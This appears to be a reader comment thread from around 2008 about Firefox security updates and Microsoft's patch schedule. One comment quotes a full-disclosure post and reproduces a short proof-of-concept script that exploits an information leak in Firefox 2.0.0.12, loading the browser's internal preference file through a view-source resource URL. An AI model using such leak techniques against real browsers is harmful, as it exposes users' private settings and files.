Firefox updates, blitzes trio of critical bugs

Nice of mozila.org to publish fixes WHEN IT'S READY,

instead of "holding it back" and leaving users vulnerable for additional days or weeks (as Microsoft does). As Microsoft does. I guess it saves them lots of money to update their "Windows Update" process only once a month, instead of doing it as needed.

My roughly-equivalent Linux feature, "Mandriva Online", checks for and finds updates every few hours-- for EVERYTHING, including application programs. Much Faster and Nicer to use, too-- a regular User can run it with their limited permissions password, being restricted only to the Update Sources which I have defined as being appropriate for automatic updates.

- - - - -

This all leads to the question, is Microsoft Windows really ready for the desktop? Their whole software maintenance design and implementation is a God-danged mess, and doesn't even handle any applications at all.

Firefox 2.0.0.12 is still vulnerable to directory trasversal flaw!

Firefox 2.0.0.12 is still vulnerable to directory trasversal:

"don't patch vulnerabilities

for fifty percent, take the time and fix the cause. Because directory

traversal through plugins is all nice and such, we don't need it. We

can trick Firefox itself in traversing directories back. I found

another information leak that is very serious because we are able to

read out all preferences set in Firefox, or just open or include about

every file stored in the Mozilla program files directory, and this

without any mandatory settings or plugins."

http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060156.html

/*

@name: Firefox <= 2.0.0.12 information leak pOc

@date: Feb. 07 2008

@author: Ronald van den Heetkamp

@url: http://www.0x000000.com

*/

pref = function(a,b) {

document.write( a + ' -> ' + b + '<br />');

};

</script>

<script src="view-source:resource:///greprefs/all.js">

</script>

@suc

The flaw you mentioned only seems to work when the script is accessed from the local file system - if it's on a server nothing happens, so it's not really much of a problem.

Lulz

I'll downgrade my browser to Failfox - The day you pack ice skates for your journey to the seventh circle of hell.